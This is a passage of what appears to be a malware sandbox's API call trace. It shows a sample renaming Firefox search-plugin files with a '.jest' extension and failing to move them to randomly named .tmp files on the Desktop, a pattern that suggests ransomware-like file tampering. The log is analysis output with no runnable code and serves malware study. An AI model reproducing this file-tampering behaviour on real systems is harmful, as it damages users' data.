| out: hHeap=0x3820000) returned 1 [0130.302] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.302] GetTickCount () returned 0x1152fc8 [0130.302] IsWindowVisible (hWnd=0x30268) returned 0 [0130.302] Sleep (dwMilliseconds=0x0) [0130.303] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml.jest")) returned 1 [0130.304] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml", lpFilePart=0x18e6d8*="bing.xml") returned 0x45 [0130.305] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.305] GetLastError () returned 0x2 [0130.305] VarBstrFromR4 (in: fltIn=0x4794470f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.12") returned 0x0 [0130.305] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.305] CoFreeUnusedLibraries () [0130.306] GetTickCount () returned 0x1152fc8 [0130.306] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.306] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.306] GetTickCount () returned 0x1152fc8 [0130.306] IsWindowVisible (hWnd=0x30268) returned 0 [0130.306] Sleep (dwMilliseconds=0x0) [0130.306] GetFullPathNameA (in: lpFileName="kUNP1SQSvh_guhItjJ2MezcZfQj4ZfObH00rnz BxEVCsmTL_WWXcVHK7KScTFLs5hccaQeqiTwfOcEroumRCzn1kZ l7x6NFnNR.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kUNP1SQSvh_guhItjJ2MezcZfQj4ZfObH00rnz BxEVCsmTL_WWXcVHK7KScTFLs5hccaQeqiTwfOcEroumRCzn1kZ l7x6NFnNR.tmp", lpFilePart=0x18e708*="kUNP1SQSvh_guhItjJ2MezcZfQj4ZfObH00rnz BxEVCsmTL_WWXcVHK7KScTFLs5hccaQeqiTwfOcEroumRCzn1kZ l7x6NFnNR.tmp") returned 0x8e [0130.307] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml", lpFilePart=0x18e708*="bing.xml") returned 0x45 [0130.307] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kUNP1SQSvh_guhItjJ2MezcZfQj4ZfObH00rnz BxEVCsmTL_WWXcVHK7KScTFLs5hccaQeqiTwfOcEroumRCzn1kZ l7x6NFnNR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kunp1sqsvh_guhitjj2mezczfqj4zfobh00rnz bxevcsmtl_wwxcvhk7ksctfls5hccaqeqitwfoceroumrczn1kz l7x6nfnnr.tmp")) returned 0 [0130.307] GetLastError () returned 0x2 [0130.307] GetLastError () returned 0x2 [0130.307] SetLastError (dwErrCode=0x2) [0130.307] GetLastError () returned 0x2 [0130.307] SetLastError (dwErrCode=0x2) [0130.307] GetLastError () returned 0x2 [0130.307] SetLastError (dwErrCode=0x2) [0130.307] GetFullPathNameA (in: lpFileName="kUNP1SQSvh_guhItjJ2MezcZfQj4ZfObH00rnz BxEVCsmTL_WWXcVHK7KScTFLs5hccaQeqiTwfOcEroumRCzn1kZ l7x6NFnNR.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kUNP1SQSvh_guhItjJ2MezcZfQj4ZfObH00rnz BxEVCsmTL_WWXcVHK7KScTFLs5hccaQeqiTwfOcEroumRCzn1kZ l7x6NFnNR.tmp", lpFilePart=0x18e6e4*="kUNP1SQSvh_guhItjJ2MezcZfQj4ZfObH00rnz BxEVCsmTL_WWXcVHK7KScTFLs5hccaQeqiTwfOcEroumRCzn1kZ l7x6NFnNR.tmp") returned 0x8e [0130.307] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kUNP1SQSvh_guhItjJ2MezcZfQj4ZfObH00rnz BxEVCsmTL_WWXcVHK7KScTFLs5hccaQeqiTwfOcEroumRCzn1kZ l7x6NFnNR.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x504e556b, cFileName="1SQSvh_guhItjJ2MezcZfQj4ZfObH00rnz BxEVCsmTL_WWXcVHK7KScTFLs5hccaQeqiTwfOcEroumRCzn1kZ l7x6NFnNR.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.308] GetLastError () returned 0x2 [0130.308] GetLastError () returned 0x2 [0130.308] SetLastError (dwErrCode=0x2) [0130.309] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.309] CoFreeUnusedLibraries () [0130.309] GetTickCount () returned 0x1152fc8 [0130.309] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.309] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.309] GetTickCount () returned 0x1152fc8 [0130.309] IsWindowVisible (hWnd=0x30268) returned 0 [0130.309] Sleep (dwMilliseconds=0x0) [0130.310] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml.jest")) returned 1 [0130.311] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml", lpFilePart=0x18e6d8*="eBay.xml") returned 0x45 [0130.311] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.312] GetLastError () returned 0x2 [0130.312] VarBstrFromR4 (in: fltIn=0x4794470f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.12") returned 0x0 [0130.312] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.312] CoFreeUnusedLibraries () [0130.312] GetTickCount () returned 0x1152fc8 [0130.313] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.313] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.313] GetTickCount () returned 0x1152fc8 [0130.313] IsWindowVisible (hWnd=0x30268) returned 0 [0130.313] Sleep (dwMilliseconds=0x0) [0130.313] GetFullPathNameA (in: lpFileName="1G12_1BB6pR05s_LGHoYe1V4BHHEjnsC9CefHnJrd0HizmeLHhk_i0H4ee1-z4rk7O-zg1CbjqcRShNzBsLTcP8odtrYzPxBLK.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1G12_1BB6pR05s_LGHoYe1V4BHHEjnsC9CefHnJrd0HizmeLHhk_i0H4ee1-z4rk7O-zg1CbjqcRShNzBsLTcP8odtrYzPxBLK.tmp", lpFilePart=0x18e708*="1G12_1BB6pR05s_LGHoYe1V4BHHEjnsC9CefHnJrd0HizmeLHhk_i0H4ee1-z4rk7O-zg1CbjqcRShNzBsLTcP8odtrYzPxBLK.tmp") returned 0x8c [0130.314] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml", lpFilePart=0x18e708*="eBay.xml") returned 0x45 [0130.314] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1G12_1BB6pR05s_LGHoYe1V4BHHEjnsC9CefHnJrd0HizmeLHhk_i0H4ee1-z4rk7O-zg1CbjqcRShNzBsLTcP8odtrYzPxBLK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1g12_1bb6pr05s_lghoye1v4bhhejnsc9cefhnjrd0hizmelhhk_i0h4ee1-z4rk7o-zg1cbjqcrshnzbsltcp8odtryzpxblk.tmp")) returned 0 [0130.314] GetLastError () returned 0x2 [0130.314] GetLastError () returned 0x2 [0130.314] SetLastError (dwErrCode=0x2) [0130.314] GetLastError () returned 0x2 [0130.314] SetLastError (dwErrCode=0x2) [0130.314] GetLastError () returned 0x2 [0130.314] SetLastError (dwErrCode=0x2) [0130.315] GetFullPathNameA (in: lpFileName="1G12_1BB6pR05s_LGHoYe1V4BHHEjnsC9CefHnJrd0HizmeLHhk_i0H4ee1-z4rk7O-zg1CbjqcRShNzBsLTcP8odtrYzPxBLK.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1G12_1BB6pR05s_LGHoYe1V4BHHEjnsC9CefHnJrd0HizmeLHhk_i0H4ee1-z4rk7O-zg1CbjqcRShNzBsLTcP8odtrYzPxBLK.tmp", lpFilePart=0x18e6e4*="1G12_1BB6pR05s_LGHoYe1V4BHHEjnsC9CefHnJrd0HizmeLHhk_i0H4ee1-z4rk7O-zg1CbjqcRShNzBsLTcP8odtrYzPxBLK.tmp") returned 0x8c [0130.315] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1G12_1BB6pR05s_LGHoYe1V4BHHEjnsC9CefHnJrd0HizmeLHhk_i0H4ee1-z4rk7O-zg1CbjqcRShNzBsLTcP8odtrYzPxBLK.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x32314731, cFileName="_1BB6pR05s_LGHoYe1V4BHHEjnsC9CefHnJrd0HizmeLHhk_i0H4ee1-z4rk7O-zg1CbjqcRShNzBsLTcP8odtrYzPxBLK.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.315] GetLastError () returned 0x2 [0130.315] GetLastError () returned 0x2 [0130.315] SetLastError (dwErrCode=0x2) [0130.316] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.316] CoFreeUnusedLibraries () [0130.316] GetTickCount () returned 0x1152fd7 [0130.316] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.316] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.316] GetTickCount () returned 0x1152fd7 [0130.317] IsWindowVisible (hWnd=0x30268) returned 0 [0130.317] Sleep (dwMilliseconds=0x0) [0130.322] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml.jest")) returned 1 [0130.323] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml", lpFilePart=0x18e6d8*="google.xml") returned 0x47 [0130.323] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.323] GetLastError () returned 0x2 [0130.324] VarBstrFromR4 (in: fltIn=0x47944711, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.13") returned 0x0 [0130.324] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.324] CoFreeUnusedLibraries () [0130.324] GetTickCount () returned 0x1152fd7 [0130.324] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.324] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.324] GetTickCount () returned 0x1152fd7 [0130.324] IsWindowVisible (hWnd=0x30268) returned 0 [0130.324] Sleep (dwMilliseconds=0x0) [0130.325] GetFullPathNameA (in: lpFileName="4yRqQJFhO6OZjHnkQFvyH_xj1XuI2BObXPZ1xmYMguY2vJEQCgHkf_AlrCzW1WvaPUw1CQ8SgPvXxTMv4oBBPTMEyxvD4eZGKwlF.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4yRqQJFhO6OZjHnkQFvyH_xj1XuI2BObXPZ1xmYMguY2vJEQCgHkf_AlrCzW1WvaPUw1CQ8SgPvXxTMv4oBBPTMEyxvD4eZGKwlF.tmp", lpFilePart=0x18e708*="4yRqQJFhO6OZjHnkQFvyH_xj1XuI2BObXPZ1xmYMguY2vJEQCgHkf_AlrCzW1WvaPUw1CQ8SgPvXxTMv4oBBPTMEyxvD4eZGKwlF.tmp") returned 0x8e [0130.325] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml", lpFilePart=0x18e708*="google.xml") returned 0x47 [0130.326] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4yRqQJFhO6OZjHnkQFvyH_xj1XuI2BObXPZ1xmYMguY2vJEQCgHkf_AlrCzW1WvaPUw1CQ8SgPvXxTMv4oBBPTMEyxvD4eZGKwlF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4yrqqjfho6ozjhnkqfvyh_xj1xui2bobxpz1xmymguy2vjeqcghkf_alrczw1wvapuw1cq8sgpvxxtmv4obbptmeyxvd4ezgkwlf.tmp")) returned 0 [0130.326] GetLastError () returned 0x2 [0130.326] GetLastError () returned 0x2 [0130.326] SetLastError (dwErrCode=0x2) [0130.326] GetLastError () returned 0x2 [0130.326] SetLastError (dwErrCode=0x2) [0130.326] GetLastError () returned 0x2 [0130.326] SetLastError (dwErrCode=0x2) [0130.326] GetFullPathNameA (in: lpFileName="4yRqQJFhO6OZjHnkQFvyH_xj1XuI2BObXPZ1xmYMguY2vJEQCgHkf_AlrCzW1WvaPUw1CQ8SgPvXxTMv4oBBPTMEyxvD4eZGKwlF.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4yRqQJFhO6OZjHnkQFvyH_xj1XuI2BObXPZ1xmYMguY2vJEQCgHkf_AlrCzW1WvaPUw1CQ8SgPvXxTMv4oBBPTMEyxvD4eZGKwlF.tmp", lpFilePart=0x18e6e4*="4yRqQJFhO6OZjHnkQFvyH_xj1XuI2BObXPZ1xmYMguY2vJEQCgHkf_AlrCzW1WvaPUw1CQ8SgPvXxTMv4oBBPTMEyxvD4eZGKwlF.tmp") returned 0x8e [0130.326] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4yRqQJFhO6OZjHnkQFvyH_xj1XuI2BObXPZ1xmYMguY2vJEQCgHkf_AlrCzW1WvaPUw1CQ8SgPvXxTMv4oBBPTMEyxvD4eZGKwlF.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x71527934, cFileName="QJFhO6OZjHnkQFvyH_xj1XuI2BObXPZ1xmYMguY2vJEQCgHkf_AlrCzW1WvaPUw1CQ8SgPvXxTMv4oBBPTMEyxvD4eZGKwlF.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.327] GetLastError () returned 0x2 [0130.327] GetLastError () returned 0x2 [0130.327] SetLastError (dwErrCode=0x2) [0130.328] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.328] CoFreeUnusedLibraries () [0130.328] GetTickCount () returned 0x1152fd7 [0130.328] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.328] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.328] GetTickCount () returned 0x1152fd7 [0130.328] IsWindowVisible (hWnd=0x30268) returned 0 [0130.328] Sleep (dwMilliseconds=0x0) [0130.329] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml.jest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml.jest")) returned 1 [0130.330] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml", lpFilePart=0x18e6d8*="twitter.xml") returned 0x48 [0130.330] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0130.331] GetLastError () returned 0x2 [0130.331] VarBstrFromR4 (in: fltIn=0x47944711, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75918.13") returned 0x0 [0130.331] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0130.331] CoFreeUnusedLibraries () [0130.331] GetTickCount () returned 0x1152fd7 [0130.331] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0130.331] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0130.332] GetTickCount () returned 0x1152fd7 [0130.332] IsWindowVisible (hWnd=0x30268) returned 0 [0130.332] Sleep (dwMilliseconds=0x0) [0130.332] GetFullPathNameA (in: lpFileName="qqDI W zU1uonBGY7eaALJOBw5QNmDsJKS455n6_2WaHcXDJCLu-Jg9zpZZBD7fS126ojy7ABB30jhhff0CeGQqTtlz3kZyMVUwZS.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qqDI W zU1uonBGY7eaALJOBw5QNmDsJKS455n6_2WaHcXDJCLu-Jg9zpZZBD7fS126ojy7ABB30jhhff0CeGQqTtlz3kZyMVUwZS.tmp", lpFilePart=0x18e708*="qqDI W zU1uonBGY7eaALJOBw5QNmDsJKS455n6_2WaHcXDJCLu-Jg9zpZZBD7fS126ojy7ABB30jhhff0CeGQqTtlz3kZyMVUwZS.tmp") returned 0x8f [0130.333] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml", lpFilePart=0x18e708*="twitter.xml") returned 0x48 [0130.333] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qqDI W zU1uonBGY7eaALJOBw5QNmDsJKS455n6_2WaHcXDJCLu-Jg9zpZZBD7fS126ojy7ABB30jhhff0CeGQqTtlz3kZyMVUwZS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qqdi w zu1uonbgy7eaaljobw5qnmdsjks455n6_2wahcxdjclu-jg9zpzzbd7fs126ojy7abb30jhhff0cegqqttlz3kzymvuwzs.tmp")) returned 0 [0130.333] GetLastError () returned 0x2 [0130.333] GetLastError () returned 0x2 [0130.333] SetLastError (dwErrCode=0x2) [0130.333] GetLastError () returned 0x2 [0130.333] SetLastError (dwErrCode=0x2) [0130.333] GetLastError () returned 0x2 [0130.333] SetLastError (dwErrCode=0x2) [0130.333] GetFullPathNameA (in: lpFileName="qqDI W zU1uonBGY7eaALJOBw5QNmDsJKS455n6_2WaHcXDJCLu-Jg9zpZZBD7fS126ojy7ABB30jhhff0CeGQqTtlz3kZyMVUwZS.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qqDI W zU1uonBGY7eaALJOBw5QNmDsJKS455n6_2WaHcXDJCLu-Jg9zpZZBD7fS126ojy7ABB30jhhff0CeGQqTtlz3kZyMVUwZS.tmp", lpFilePart=0x18e6e4*="qqDI W zU1uonBGY7eaALJOBw5QNmDsJKS455n6_2WaHcXDJCLu-Jg9zpZZBD7fS126ojy7ABB30jhhff0CeGQqTtlz3kZyMVUwZS.tmp") returned 0x8f [0130.333] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qqDI W zU1uonBGY7eaALJOBw5QNmDsJKS455n6_2WaHcXDJCLu-Jg9zpZZBD7fS126ojy7ABB30jhhff0CeGQqTtlz3kZyMVUwZS.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x49447171, cFileName=" W zU1uonBGY7eaALJOBw5QNmDsJKS455n6_2WaHcXDJCLu-Jg9zpZZBD7fS126ojy7ABB30jhhff0CeGQqTtlz3kZyMVUwZS.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0130.334] GetLastError () returned 0x2 [0130.334] GetLastError () returned 0x2 [0130.334] SetLastError (dwErrCode=0x2) [0130.335] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0130.335] CoFreeUnusedLibraries () [0130.335] GetTickCount () returned 0x1152fe7 